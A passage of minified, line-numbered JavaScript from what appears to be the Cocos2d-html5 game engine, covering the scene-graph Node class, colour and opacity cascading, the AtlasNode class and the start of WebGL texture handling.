  180. b.fk=b.va.extend({lt:null,mt:null,ctor:function(){var a=this;b.va.prototype.ctor.call(this,b.va.on,b.fk.rc,function(c){c.DK?a.lt&&a.lt(c.$B,c):a.mt&&a.mt(c.$B,c)})},j:function(){var a=new b.fk;a.lt=this.lt;a.mt=this.mt;return a},Wk:function(){return null==this.lt&&null==this.mt?(b.log(b.e.xU),!1):!0}});b.fk.rc="__cc_keyboard";b.fk.create=function(){return new b.fk};b.B.BA=function(){var a=b.q.prototype;a.JD=null;a.vD=null;a.OB=null;a.Xi=null;a.ctor=function(){this.RB();var a=new b.ca;a.c[2]=a.c[3]=a.c[6]=a.c[7]=a.c[8]=a.c[9]=a.c[11]=a.c[14]=0;a.c[10]=a.c[15]=1;this.JD=a;this.OB=0;this.vD=new b.ca};a.Ma=function(){!1===this.xj&&(this.xj=this.Uv=!0)};a.T=function(){if(this.zc){var a=b.k,d,e=b.Vb;e.stack.push(e.top);b.Dj(this.vD,e.top);e.top=this.vD;var f=this.grid;f&&f.jk&&f.Hs();this.transform();var g=this.s;if(g&&0<g.length){var h=g.length;this.Tc();for(d=0;d<
  181. h;d++)if(g[d]&&0>g[d].zb)g[d].T();else break;for(this.Z(a);d<h;d++)g[d]&&g[d].T()}else this.Z(a);this.arrivalOrder=0;f&&f.jk&&f.Es(this);e.top=e.stack.pop()}};a.transform=function(){var a=this.JD,d=b.Vb.top,e=this.Ve(),f=a.c;f[0]=e.a;f[4]=e.C;f[12]=e.Na;f[1]=e.b;f[5]=e.I;f[13]=e.Oa;f[14]=this.ys;b.Ei(d,d,a);null==this.Xi||null!=this.grid&&this.grid.xf()||(a=this.kb.x,d=this.kb.y,0!==a||0!==d?(b.Zz||(a|=0,d|=0),b.mp(a,d),this.Xi.jt(),b.mp(-a,-d)):this.Xi.jt())};a.Ve=a.XW};b.B.Hz=function(){var a=b.q.prototype;b.f(a,"x",a.Te,a.lP);b.f(a,"y",a.Ng,a.mP);b.f(a,"width",a.jh,a.qj);b.f(a,"height",a.xk,a.pj);b.f(a,"anchorX",a.LV,a.XC);b.f(a,"anchorY",a.MV,a.YC);b.f(a,"skewX",a.t0,a.O3);b.f(a,"skewY",a.u0,a.P3);b.f(a,"zIndex",a.X_,a.iP);b.f(a,"vertexZ",a.D0,a.b4);b.f(a,"rotation",a.m0,a.lG);b.f(a,"rotationX",a.o0,a.M3);b.f(a,"rotationY",a.p0,a.N3);b.f(a,"scale",a.q0,a.an);b.f(a,"scaleX",a.sN,a.Dt);b.f(a,"scaleY",a.tN,a.Et);b.f(a,"children",a.A_);b.f(a,"childrenCount",a.B_);
  182. b.f(a,"parent",a.getParent,a.D3);b.f(a,"visible",a.m1,a.BP);b.f(a,"running",a.k1);b.f(a,"ignoreAnchor",a.h1,a.Cx);b.f(a,"actionManager",a.mx,a.YO);b.f(a,"scheduler",a.Yk,a.uP);b.f(a,"shaderProgram",a.VE,a.nG);b.f(a,"glServerState",a.O_,a.t3)};b.B.Iz=function(){var a=b.ia.prototype;b.f(a,"opacity",a.Se,a.Ba);b.f(a,"opacityModifyRGB",a.ue,a.Jd);b.f(a,"cascadeOpacity",a.ct,a.Fp);b.f(a,"color",a.Re,a.La);b.f(a,"cascadeColor",a.bt,a.Ep)};b.rH=-1;b.UO=1;
  183. b.q=b.ja.extend({zb:0,aj:0,ys:0,nj:0,hm:0,pa:1,Ta:1,za:null,xh:0,yh:0,s:null,zc:!0,Oc:null,kb:null,O:null,vh:!1,Tb:null,dj:!1,tag:b.rH,userData:null,userObject:null,xj:!0,Uv:!0,Ag:!0,Wi:null,y8:null,pm:null,zK:null,Wd:!1,Hb:null,arrivalOrder:0,xg:null,Vf:null,W7:null,xK:!1,Xq:!1,cv:null,ci:null,ZB:!1,uo:0,tw:0,ub:"Node",mD:!1,Or:"",RB:function(){this.Oc=N(0,0);this.kb=N(0,0);this.O=O(0,0);this.za=N(0,0);this.s=[];this.pm={a:1,b:0,C:0,I:1,Na:0,Oa:0};var a=b.D;this.xg=a.mx();this.Vf=a.Yk();this.xK=
  184. !0;this.cv={a:1,b:0,C:0,I:1,Na:0,Oa:0};b.FQ&&(this.ci=new b.FQ(this))},G:function(){!1===this.xK&&this.RB();return!0},zg:function(a,c){if(a&&0!==a.length){var d,e=a.length,f;d=b.q.Ff;switch(c){case d.ba:for(d=0;d<e;d++)(f=a[d])&&f.ba();break;case d.vb:for(d=0;d<e;d++)(f=a[d])&&f.vb();break;case d.Qh:for(d=0;d<e;d++)(f=a[d])&&f.Qh();break;case d.Pe:for(d=0;d<e;d++)(f=a[d])&&f.Pe();break;case d.bf:for(d=0;d<e;d++)(f=a[d])&&f.bf();break;case d.dg:for(d=0;d<e;d++)(f=a[d])&&f.dg();break;case d.Tc:for(d=
  185. 0;d<e;d++)(f=a[d])&&f.Tc();break;default:b.assert(0,b.e.NR)}}},Ma:null,Mb:function(a){for(var c in a)this[c]=a[c]},t0:function(){return this.xh},O3:function(a){this.xh=a;this.Ma()},u0:function(){return this.yh},P3:function(a){this.yh=a;this.Ma()},iP:function(a){this.zb=a;this.Tb&&this.Tb.Ap(this,a);b.sa.vw(this)},ww:function(a){this.zb=a},X_:function(){return this.zb},Eca:function(){b.log(b.e.UR);return this.zb},zja:function(a){b.log(b.e.eS);this.iP(a)},cia:function(a){this.aj!=a&&(this.aj=a,b.sa.vw(this))},
  186. Saa:function(){return this.aj},D0:function(){return this.ys},b4:function(a){this.ys=a},m0:function(){this.nj!==this.hm&&b.log(b.e.SR);return this.nj},lG:function(a){this.nj=this.hm=a;this.uo=0.017453292519943295*this.nj;this.tw=0.017453292519943295*this.hm;this.Ma()},o0:function(){return this.nj},M3:function(a){this.nj=a;this.uo=0.017453292519943295*this.nj;this.Ma()},p0:function(){return this.hm},N3:function(a){this.hm=a;this.tw=0.017453292519943295*this.hm;this.Ma()},q0:function(){this.pa!==this.Ta&&
  187. b.log(b.e.TR);return this.pa},an:function(a,c){this.pa=a;this.Ta=c||0===c?c:a;this.Ma()},sN:function(){return this.pa},Dt:function(a){this.pa=a;this.Ma()},tN:function(){return this.Ta},Et:function(a){this.Ta=a;this.Ma()},P:function(a,c){var d=this.za;void 0===c?(d.x=a.x,d.y=a.y):(d.x=a,d.y=c);this.Ma()},px:function(){return N(this.za)},Te:function(){return this.za.x},lP:function(a){this.za.x=a;this.Ma()},Ng:function(){return this.za.y},mP:function(a){this.za.y=a;this.Ma()},B_:function(){return this.s.length},
  188. A_:function(){return this.s},m1:function(){return this.zc},BP:function(a){this.zc=a;this.Ma()},X$:function(){return this.Oc},fl:function(a,c){var d=this.Oc;if(void 0===c){if(a.x===d.x&&a.y===d.y)return;d.x=a.x;d.y=a.y}else{if(a===d.x&&c===d.y)return;d.x=a;d.y=c}var e=this.kb,f=this.O;e.x=f.width*d.x;e.y=f.height*d.y;this.Ma()},Y7:function(){return this.Oc},AL:function(a){var c=a.x;a=a.y;this.Oc.x!==c&&(this.Oc.x=c,this.kb.x=this.O.width*c);this.Oc.y!==a&&(this.Oc.y=a,this.kb.y=this.O.height*a);this.Ma()},
  189. LV:function(){return this.Oc.x},XC:function(a){this.Oc.x!==a&&(this.Oc.x=a,this.kb.x=this.O.width*a,this.Ma())},MV:function(){return this.Oc.y},YC:function(a){this.Oc.y!==a&&(this.Oc.y=a,this.kb.y=this.O.height*a,this.Ma())},Y$:function(){return this.kb},jh:function(){return this.O.width},qj:function(a){this.O.width=a;this.kb.x=a*this.Oc.x;this.Ma()},xk:function(){return this.O.height},pj:function(a){this.O.height=a;this.kb.y=a*this.Oc.y;this.Ma()},Jh:function(){return this.O},$d:function(a,c){var d=
  190. this.O;if(void 0===c){if(a.width===d.width&&a.height===d.height)return;d.width=a.width;d.height=a.height}else{if(a===d.width&&c===d.height)return;d.width=a;d.height=c}var e=this.kb,f=this.Oc;e.x=d.width*f.x;e.y=d.height*f.y;this.Ma()},k1:function(){return this.vh},getParent:function(){return this.Tb},D3:function(a){this.Tb=a},h1:function(){return this.dj},Cx:function(a){a!=this.dj&&(this.dj=a,this.Ma())},XE:function(){return this.tag},pG:function(a){this.tag=a},ria:function(){this.Or},getName:function(){return this.Or},
  191. getUserData:function(){return this.userData},setUserData:function(a){this.userData=a},yca:function(){return this.userObject},wja:function(a){this.userObject!=a&&(this.userObject=a)},vba:function(){return this.arrivalOrder},xia:function(a){this.arrivalOrder=a},mx:function(){this.xg||(this.xg=b.D.mx());return this.xg},YO:function(a){this.xg!=a&&(this.jl(),this.xg=a)},Yk:function(){this.Vf||(this.Vf=b.D.Yk());return this.Vf},uP:function(a){this.Vf!=a&&(this.Py(),this.Vf=a)},daa:function(){return b.DU(Q(0,
  192. 0,this.O.width,this.O.height),this.Ve())},Pe:function(){this.jl();this.Py();b.sa.NO(this);this.zg(this.s,b.q.Ff.Pe)},Ih:function(a){var c=this.s;if(null!=c)for(var d=0;d<c.length;d++){var e=c[d];if(e&&e.tag==a)return e}return null},kaa:function(a){if(!a)return b.log("Invalid name"),null;for(var c=this.s,d=0,e=c.length;d<e;d++)if(c[d].Or==a)return c[d];return null},N:function(a,c,d){b.assert(a,b.e.QR);a===this?b.log(b.e.OR):null!==a.Tb?b.log(b.e.PR):(c=null!=c?c:a.zb,a.tag=null!=d?d:a.tag,this.FW(a,
  193. c),a.Tb=this,this.Wi&&(a.Wi=this.Wi),this.vh&&(a.ba(),this.ZB&&a.Qh()))},VF:function(a){this.Tb&&(null==a&&(a=!0),this.Tb.removeChild(this,a))},Vga:function(a){b.log(b.e.ZR);this.VF(a)},removeChild:function(a,c){0!==this.s.length&&(null==c&&(c=!0),-1<this.s.indexOf(a)&&this.tV(a,c),this.Ma())},UF:function(a,c){a===b.rH&&b.log(b.e.XR);var d=this.Ih(a);null==d?b.log(b.e.YR,a):this.removeChild(d,c)},Nga:function(a){b.log(b.e.WR);this.Qg(a)},Qg:function(a){var c=this.s;if(null!=c){null==a&&(a=!0);for(var d=
  194. 0;d<c.length;d++){var e=c[d];e&&(this.vh&&(e.dg(),e.vb()),a&&e.Pe(),e.parent=null)}this.s.length=0}},tV:function(a,c){this.vh&&(a.dg(),a.vb());c&&a.Pe();a.parent=null;b.Oe(this.s,a)},FW:function(a,c){this.Wd=!0;this.s.push(a);a.ww(c)},Ap:function(a,c){b.assert(a,b.e.$R);this.Wd=!0;a.arrivalOrder=b.UO;b.UO++;a.ww(c);this.Ma()},Tc:function(){if(this.Wd){var a=this.s,c=a.length,d,e,f;for(d=1;d<c;d++){f=a[d];for(e=d-1;0<=e;){if(f.zb<a[e].zb)a[e+1]=a[e];else if(f.zb===a[e].zb&&f.arrivalOrder<a[e].arrivalOrder)a[e+
  195. 1]=a[e];else break;e--}a[e+1]=f}this.Wd=!1}},Z:function(){},Oy:function(){null!=this.Tb&&(this.Tb.Oy(),this.Tb.transform())},ba:function(){this.ZB=!1;this.vh=!0;this.zg(this.s,b.q.Ff.ba);this.Bp()},Qh:function(){this.ZB=!0;this.zg(this.s,b.q.Ff.Qh)},dg:function(){this.zg(this.s,b.q.Ff.dg)},vb:function(){this.vh=!1;this.pause();this.zg(this.s,b.q.Ff.vb);this.ci&&this.ci.I2()},ua:function(a){b.assert(a,b.e.bS);this.actionManager.OY(a,this,!this.vh);return a},jl:function(){this.actionManager&&this.actionManager.LO(this)},
  196. q4:function(a){this.actionManager.KO(a)},r4:function(a){a===b.fn?b.log(b.e.fS):this.actionManager.H2(a,this)},KE:function(a){return a===b.fn?(b.log(b.e.RR),null):this.actionManager.KE(a,this)},pba:function(){return this.actionManager.Z1(this)},VO:function(){this.WO(0)},WO:function(a){this.scheduler.bG(this,a,!this.vh)},TP:function(){this.scheduler.St(this)},Cp:function(a,c,d,e){c=c||0;b.assert(a,b.e.cS);b.assert(0<=c,b.e.dS);d=null==d?b.Bq:d;this.scheduler.Y2(this,a,c,d,e||0,!this.vh)},pha:function(a,
  197. c){this.Cp(a,0,0,c)},Rt:function(a){a&&this.scheduler.SP(this,a)},Py:function(){this.scheduler.RP(this)},eha:function(){b.log(b.e.aS);this.Bp()},Bp:function(){this.scheduler.Lj(this);this.actionManager&&this.actionManager.Lj(this);b.sa.Lj(this)},mga:function(){b.log(b.e.VR);this.pause()},pause:function(){this.scheduler.xp(this);this.actionManager&&this.actionManager.xp(this);b.sa.xp(this)},wha:function(a){this.cv=a;this.Xq=this.xj=!0},jga:function(){this.Uv&&(this.zK=b.LG(this.Ve()),this.Uv=!1);return this.zK},
  198. rp:function(){for(var a=this.Ve(),c=this.Tb;null!=c;c=c.parent)a=b.nl(a,c.Ve());return a},S4:function(){return b.LG(this.rp())},wE:function(a){return b.LH(a,this.S4())},fx:function(a){a=a||N(0,0);return b.LH(a,this.rp())},CZ:function(a){return b.Id(this.wE(a),this.kb)},w9:function(a){a=a||N(0,0);return this.fx(b.Hi(a,this.kb))},R7:function(a){a=this.fx(a);return b.D.DZ(a)},x9:function(a){return this.wE(a.Ts())},y9:function(a){a=a.Ts();a=b.D.BZ(a);return this.CZ(a)},update:function(a){this.ci&&!this.ci.bda()&&
  199. this.ci.T(a)},bf:function(){this.zg(this.s,b.q.Ff.bf)},uy:function(){},Ki:function(){},D_:function(a){return this.ci.D_(a)},E8:function(a){this.ci.add(a)},Tga:function(a){return this.ci.remove(a)},Oga:function(){this.ci.I2()},grid:null,ctor:null,T:null,transform:null,Ve:null,wh:function(){if(!1===this.Ag){this.Ag=!0;var a=this.Wi;a&&a!=this&&a.wh()}},ZC:function(a){if(this.Wi!=a){this.Wi=a;for(var c=this.s,d=0,e=c.length;d<e;d++)c[d].ZC(a)}},Km:function(){this.Xi||(this.Xi=new b.Wp);return this.Xi},
  200. Ss:function(){return this.grid},u3:function(a){this.grid=a},VE:function(){return this.Hb},nG:function(a){this.Hb=a},O_:function(){return this.OB},t3:function(a){this.OB=a},y_:function(){var a=Q(0,0,this.O.width,this.O.height),c=this.rp(),a=b.Sz(a,this.rp());if(!this.s)return a;for(var d=this.s,e=0;e<d.length;e++){var f=d[e];f&&f.zc&&(f=f.wr(c))&&(a=b.qy(a,f))}return a},wr:function(a){var c=Q(0,0,this.O.width,this.O.height);a=null==a?this.Ve():b.nl(this.Ve(),a);c=b.Sz(c,a);if(!this.s)return c;for(var d=
  201. this.s,e=0;e<d.length;e++){var f=d[e];f&&f.zc&&(f=f.wr(a))&&(c=b.qy(c,f))}return c},XW:function(){if(this.xj){var a=this.za.x,c=this.za.y,d=this.kb.x,e=-d,f=this.kb.y,g=-f,h=this.pa,k=this.Ta;this.dj&&(a+=d,c+=f);var m=1,p=0,r=1,s=0;if(0!==this.nj||0!==this.hm)m=Math.cos(-this.uo),p=Math.sin(-this.uo),r=Math.cos(-this.tw),s=Math.sin(-this.tw);var u=this.xh||this.yh;u||0===d&&0===f||(a+=r*e*h+-p*g*k,c+=s*e*h+m*g*k);var t=this.pm;t.a=r*h;t.b=s*h;t.C=-p*k;t.I=m*k;t.Na=a;t.Oa=c;u&&(t=b.nl({a:1,b:Math.tan(b.$f(this.yh)),
  202. C:Math.tan(b.$f(this.xh)),I:1,Na:0,Oa:0},t),0!==d||0!==f)&&(t=b.hQ(t,e,g));this.Xq&&(t=b.nl(t,this.cv),this.Xq=!1);this.pm=t;this.xj=!1}return this.pm}});b.q.create=function(){return new b.q};b.q.Ff={ba:1,vb:2,Pe:3,Qh:4,bf:5,dg:6,Tc:7};
  203. b.A===b.Ea?(n=b.q.prototype,n.ctor=function(){this.RB()},n.Ma=function(){this.wh();!1===this.xj&&(this.xj=this.Uv=!0)},n.T=function(a){if(this.zc){a=a||b.k;var c,d=this.s,e;a.save();this.transform(a);var f=d.length;if(0<f){this.Tc();for(c=0;c<f;c++)if(e=d[c],0>e.zb)e.T(a);else break;for(this.Z(a);c<f;c++)d[c].T(a)}else this.Z(a);this.Ag=!1;this.arrivalOrder=0;a.restore()}},n.transform=function(a){a=a||b.k;var c=b.view,d=this.Ve();a.transform(d.a,d.C,d.b,d.I,d.Na*c.pa,-d.Oa*c.Ta)},n.Ve=function(){if(this.xj){var a=
  204. this.pm;a.Na=this.za.x;a.Oa=this.za.y;var c=1,d=0;this.nj&&(c=Math.cos(this.uo),d=Math.sin(this.uo));a.a=a.I=c;a.b=-d;a.C=d;var e=this.pa,f=this.Ta,g=this.kb.x,h=this.kb.y,k=1E-6>e&&-1E-6<e?1E-6:e,m=1E-6>f&&-1E-6<f?1E-6:f;if(this.xh||this.yh){var p=Math.tan(-this.xh*Math.PI/180),r=Math.tan(-this.yh*Math.PI/180);Infinity===p&&(p=99999999);Infinity===r&&(r=99999999);var s=h*p*k,u=g*r*m;a.a=c+-d*r;a.b=c*p+-d;a.C=d+c*r;a.I=d*p+c;a.Na+=c*s+-d*u;a.Oa+=d*s+c*u}if(1!==e||1!==f)a.a*=k,a.C*=k,a.b*=m,a.I*=m;
  205. a.Na+=c*-g*k+-d*h*m;a.Oa-=d*-g*k+c*h*m;this.dj&&(a.Na+=g,a.Oa+=h);this.Xq&&(this.pm=b.nl(a,this.cv),this.Xq=!1);this.xj=!1}return this.pm},n=null):(b.assert("function"===typeof b.B.BA,b.e.Nc,"BaseNodesWebGL.js"),b.B.BA(),delete b.B.BA);b.assert("function"===typeof b.B.Hz,b.e.Nc,"BaseNodesPropertyDefine.js");b.B.Hz();delete b.B.Hz;
  206. b.ia=b.q.extend({yb:!0,Ca:255,Vd:255,Fa:null,cc:null,Ad:!1,ee:!1,ctor:function(){b.q.prototype.ctor.call(this);this.Vd=this.Ca=255;this.Fa=b.color(255,255,255,255);this.cc=b.color(255,255,255,255);this.ee=this.Ad=!1},fc:function(){},Se:function(){return this.Vd},cN:function(){return this.Ca},Ba:function(a){this.Ca=this.Vd=a;var c=255,d=this.Tb;d&&d.yb&&d.cascadeOpacity&&(c=d.Ca);this.Lb(c);this.Fa.a=this.cc.a=a},Lb:function(a){this.Ca=this.Vd*a/255;if(this.ee){a=this.s;for(var c=0;c<a.length;c++){var d=
  207. a[c];d&&d.yb&&d.Lb(this.Ca)}}},ct:function(){return this.ee},Fp:function(a){this.ee!==a&&((this.ee=a)?this.pr():this.oB())},pr:function(){var a=255,c=this.Tb;c&&c.yb&&c.cascadeOpacity&&(a=c.Ca);this.Lb(a)},oB:function(){this.Ca=this.Vd;for(var a=this.s,c=0;c<a.length;c++){var d=a[c];d&&d.yb&&d.Lb(255)}},Re:function(){var a=this.cc;return b.color(a.r,a.g,a.b,a.a)},Lm:function(){var a=this.Fa;return b.color(a.r,a.g,a.b,a.a)},La:function(a){var c=this.Fa,d=this.cc;c.r=d.r=a.r;c.g=d.g=a.g;c.b=d.b=a.b;
  208. c=(c=this.Tb)&&c.yb&&c.cascadeColor?c.Lm():b.color.WHITE;this.Pb(c);void 0===a.a||a.Cs||this.Ba(a.a)},Pb:function(a){var c=this.Fa,d=this.cc;c.r=0|d.r*a.r/255;c.g=0|d.g*a.g/255;c.b=0|d.b*a.b/255;if(this.Ad)for(a=this.s,d=0;d<a.length;d++){var e=a[d];e&&e.yb&&e.Pb(c)}},bt:function(){return this.Ad},Ep:function(a){this.Ad!==a&&((this.Ad=a)?this.or():this.nB())},or:function(){var a;a=(a=this.Tb)&&a.yb&&a.cascadeColor?a.Lm():b.color.WHITE;this.Pb(a)},nB:function(){var a=this.Fa,c=this.cc;a.r=c.r;a.g=
  209. c.g;a.b=c.b;for(var a=this.s,c=b.color.WHITE,d=0;d<a.length;d++){var e=a[d];e&&e.yb&&e.Pb(c)}},N:function(a,c,d){b.q.prototype.N.call(this,a,c,d);this.Ad&&this.or();this.ee&&this.pr()},Jd:function(){},ue:function(){return!1}});b.ia.create=function(){var a=new b.ia;a.G();return a};b.assert("function"===typeof b.B.Iz,b.e.Nc,"BaseNodesPropertyDefine.js");b.B.Iz();delete b.B.Iz;b.q.H6=0;b.q.J6=1;b.q.I6=2;b.q.K6=3;b.q.G6=4;b.Ni=b.ia.extend({textureAtlas:null,quadsToDraw:0,yb:!0,oo:0,HK:0,hi:0,oh:0,Ll:null,Sa:!1,o:null,Rv:!1,ub:"AtlasNode",ctor:function(a,c,d,e){b.ia.prototype.ctor.call(this);this.Ll=b.color.WHITE;this.o={src:b.hc,U:b.gc};this.Rv=!1;void 0!==e&&this.X0(a,c,d,e)},Op:function(){b.log(b.e.iQ)},Re:function(){return this.Sa?this.Ll:b.ia.prototype.Re.call(this)},Jd:function(a){var c=this.color;this.Sa=a;this.color=c},ue:function(){return this.Sa},Hh:function(){return this.o},We:function(a,c){this.o=void 0===
  210. c?a:{src:a,U:c}},rG:function(a){this.textureAtlas=a},YE:function(){return this.textureAtlas},Mba:function(){return this.quadsToDraw},Jia:function(a){this.quadsToDraw=a},Rk:null,ke:null,LD:null,fr:null,X0:function(a,c,d,e){if(!a)throw"cc.AtlasNode.initWithTileFile(): title should not be null";a=b.Da.Bc(a);return this.ta(a,c,d,e)},ta:null,SB:function(a,c,d,e){this.hi=c;this.oh=d;this.Sa=!0;this.ke=a;if(!this.ke)return b.log(b.e.MG),!1;this.Rk=this.ke;this.kv();this.quadsToDraw=e;return!0},TB:function(a,
  211. c,d,e){this.hi=c;this.oh=d;this.Ll=b.color.WHITE;this.Sa=!0;this.o.src=b.hc;this.o.U=b.gc;c=this.cc;this.fr=new Float32Array([c.r/255,c.g/255,c.b/255,this.Vd/255]);this.textureAtlas=new b.ak;this.textureAtlas.ta(a,e);if(!this.textureAtlas)return b.log(b.e.MG),!1;this.Yf();this.bM();this.kv();this.quadsToDraw=e;this.shaderProgram=b.Ld.nc(b.Xz);this.LD=b.k.getUniformLocation(this.shaderProgram.Mm(),"u_color");return!0},Z:null,$i:function(a){a=a||b.k;b.kt(this);b.Mh(this.o.src,this.o.U);this.LD&&this.fr&&
  212. (a.uniform4fv(this.LD,this.fr),this.textureAtlas.OM(this.quadsToDraw))},La:null,MX:function(a){var c=this.cc;if(c.r!=a.r||c.g!=a.g||c.b!=a.b){c=b.color(a.r,a.g,a.b);this.Ll=a;if(this.Sa){var d=this.Ca;c.r=c.r*d/255;c.g=c.g*d/255;c.b=c.b*d/255}b.ia.prototype.La.call(this,a);this.texture&&(a=this.ke.Db)&&(c=b.Da.ux(a))&&(a=b.ap(a,c,this.cc,Q(0,0,a.width,a.height)),c=new b.da,c.rd(a),c.Nb(),this.texture=c)}},NX:function(a){var c=b.color(a.r,a.g,a.b);this.Ll=a;var d=this.Ca;this.Sa&&(c.r=c.r*d/255,c.g=
  213. c.g*d/255,c.b=c.b*d/255);b.ia.prototype.La.call(this,a);a=this.Fa;this.fr=new Float32Array([a.r/255,a.g/255,a.b/255,d/255])},Ba:function(){},eD:function(a){b.ia.prototype.Ba.call(this,a);this.Sa&&(this.color=this.Ll)},fD:function(a){b.ia.prototype.Ba.call(this,a);this.Sa?this.color=this.Ll:(a=this.Fa,this.fr=new Float32Array([a.r/255,a.g/255,a.b/255,this.Ca/255]))},Qa:null,xr:function(){return this.Rk},NB:function(){return this.textureAtlas.texture},sb:null,jD:function(a){this.Rk=a},kD:function(a){this.textureAtlas.texture=
  214. a;this.Yf();this.bM()},kv:null,XU:function(){var a=this.texture.Jh();this.HK=0|a.height/this.oh;this.oo=0|a.width/this.hi},YU:function(){var a=this.texture,c=a.Jh();this.Rv&&(c=a.O);this.HK=0|c.height/this.oh;this.oo=0|c.width/this.hi},Yf:function(){this.textureAtlas.texture.yi()||(this.o.src=b.SRC_ALPHA,this.o.U=b.ONE_MINUS_SRC_ALPHA)},bM:function(){this.Sa=this.textureAtlas.texture.yi()},bD:function(a){this.Rv=a}});n=b.Ni.prototype;
  215. b.A===b.$?(n.ta=n.TB,n.Z=n.$i,n.La=n.NX,n.Ba=n.fD,n.Qa=n.NB,n.sb=n.kD,n.kv=n.YU):(n.ta=n.SB,n.Z=b.q.prototype.Z,n.La=n.MX,n.Ba=n.eD,n.Qa=n.xr,n.sb=n.jD,n.kv=n.XU);b.f(n,"opacity",n.Se,n.Ba);b.f(n,"color",n.Re,n.La);b.f(n,"texture",n.Qa,n.sb);b.Ni.create=function(a,c,d,e){return new b.Ni(a,c,d,e)};b.B.HA=function(){b.da=b.ja.extend({l8:!0,ni:null,lj:0,kj:0,Or:"",O:null,Fi:0,Gi:0,Pv:!1,fo:!1,shaderProgram:null,vc:!1,Db:null,Xd:null,url:null,gb:null,ctor:function(){this.O=O(0,0);this.ni=b.da.FM},TF:function(){this.Xd&&b.k.deleteTexture(this.Xd);b.V.Ki(this.url)},kN:function(){return this.ni},mN:function(){return this.lj},lN:function(){return this.kj},getName:function(){return this.Xd},Jh:function(){return O(this.O.width/b.rb(),this.O.height/b.rb())},jh:function(){return this.O.width/b.rb()},
  216. xk:function(){return this.O.height/b.rb()},E_:function(){return this.O},b0:function(){return this.Fi},y3:function(a){this.Fi=a},c0:function(){return this.Gi},z3:function(a){this.Gi=a},VE:function(){return this.shaderProgram},nG:function(a){this.shaderProgram=a},yi:function(){return this.Pv},J0:function(){return this.fo},description:function(){return"\x3ccc.Texture2D | Name \x3d "+this.Or+" | Dimensions \x3d "+this.lj+" x "+this.kj+" | Coordinates \x3d ("+this.Fi+", "+this.Gi+")\x3e"},G2:function(){},
  217. q1:function(a){return a},at:function(a,c,d,e,f){var g=b.da,h=b.k,k=h.RGBA,m=h.UNSIGNED_BYTE,p=d*b.da.QI[c]/8;0===p%8?h.pixelStorei(h.UNPACK_ALIGNMENT,8):0===p%4?h.pixelStorei(h.UNPACK_ALIGNMENT,4):0===p%2?h.pixelStorei(h.UNPACK_ALIGNMENT,2):h.pixelStorei(h.UNPACK_ALIGNMENT,1);this.Xd=h.createTexture();b.te(this);h.texParameteri(h.TEXTURE_2D,h.TEXTURE_MIN_FILTER,h.LINEAR);h.texParameteri(h.TEXTURE_2D,h.TEXTURE_MAG_FILTER,h.LINEAR);h.texParameteri(h.TEXTURE_2D,h.TEXTURE_WRAP_S,h.CLAMP_TO_EDGE);h.texParameteri(h.TEXTURE_2D,
  218. h.TEXTURE_WRAP_T,h.CLAMP_TO_EDGE);switch(c){case g.Si:k=h.RGBA;break;case g.zq:k=h.RGB;break;case g.zu:m=h.UNSIGNED_SHORT_4_4_4_4;break;case g.yu:m=h.UNSIGNED_SHORT_5_5_5_1;break;case g.yq:m=h.UNSIGNED_SHORT_5_6_5;break;case g.Bz:k=h.LUMINANCE_ALPHA;break;case g.xq:k=h.ALPHA;break;case g.Cz:k=h.LUMINANCE;break;default:b.assert(0,b.e.LT)}h.texImage2D(h.TEXTURE_2D,0,k,d,e,0,k,m,a);this.O.width=f.width;this.O.height=f.height;this.lj=d;this.kj=e;this.ni=c;this.Fi=f.width/d;this.Gi=f.height/e;this.fo=
  219. this.Pv=!1;this.shaderProgram=b.Ld.nc(b.Eq);return this.vc=!0},NZ:function(a){var c=[0,this.Gi,this.Fi,this.Gi,0,0,this.Fi,0],d=this.lj*this.Fi,e=this.kj*this.Gi;a=[a.x,a.y,0,d+a.x,a.y,0,a.x,e+a.y,0,d+a.x,e+a.y,0];b.Ic(b.Od|b.wn);this.Hb.Mc();this.Hb.It();b.te(this);d=b.k;d.vertexAttribPointer(b.tb,2,d.FLOAT,!1,0,a);d.vertexAttribPointer(b.yd,2,d.FLOAT,!1,0,c);d.drawArrays(d.TRIANGLE_STRIP,0,4)},QZ:function(a){var c=[0,this.Gi,this.Fi,this.Gi,0,0,this.Fi,0];a=[a.x,a.y,a.x+a.width,a.y,a.x,a.y+a.height,
  220. a.x+a.width,a.y+a.height];b.Ic(b.Od|b.wn);this.Hb.Mc();this.Hb.It();b.te(this);var d=b.k;d.vertexAttribPointer(b.tb,2,d.FLOAT,!1,0,a);d.vertexAttribPointer(b.yd,2,d.FLOAT,!1,0,c);d.drawArrays(d.TRIANGLE_STRIP,0,4)},PN:function(a){if(null==a)return b.log(b.e.OT),!1;var c=a.F0(),d=a.Q_(),e=b.So.Mr;if(c>e||d>e)return b.log(b.e.PT,c,d,e,e),!1;this.vc=!0;return this.xW(a,c,d)},rd:function(a){a&&(this.Xd=b.k.createTexture(),this.Db=a)},S_:function(){return this.Db},i1:function(){return this.vc},Nb:function(){if(b.rw){if(!this.Db){var a=
  221. b.V.Gd(this.url);if(!a)return;this.rd(a)}this.Db.width&&this.Db.height&&(this.vc=!0,a=b.k,b.te(this),a.pixelStorei(a.UNPACK_ALIGNMENT,4),a.texImage2D(a.TEXTURE_2D,0,a.RGBA,a.RGBA,a.UNSIGNED_BYTE,this.Db),a.texParameteri(a.TEXTURE_2D,a.TEXTURE_MIN_FILTER,a.LINEAR),a.texParameteri(a.TEXTURE_2D,a.TEXTURE_MAG_FILTER,a.LINEAR),a.texParameteri(a.TEXTURE_2D,a.TEXTURE_WRAP_S,a.CLAMP_TO_EDGE),a.texParameteri(a.TEXTURE_2D,a.TEXTURE_WRAP_T,a.CLAMP_TO_EDGE),this.shaderProgram=b.Ld.nc(b.Eq),b.te(null),a=this.Db.height,
  222. this.lj=this.O.width=this.Db.width,this.kj=this.O.height=a,this.ni=b.da.Si,this.Gi=this.Fi=1,this.fo=this.Pv=!1,this.Qd())}},sd:function(){b.log(b.e.UT);return null},R0:function(){b.log(b.e.NT);return!1},U0:function(){b.log(b.e.RT);return!1},V0:function(){b.log(b.e.TT);return!1},U3:function(a){var c=b.k;b.assert(this.lj==b.Uj(this.lj)&&this.kj==b.Uj(this.kj)||a.T4==c.CLAMP_TO_EDGE&&a.U4==c.CLAMP_TO_EDGE,"WebGLRenderingContext.CLAMP_TO_EDGE should be used in NPOT textures");b.te(this);c.texParameteri(c.TEXTURE_2D,
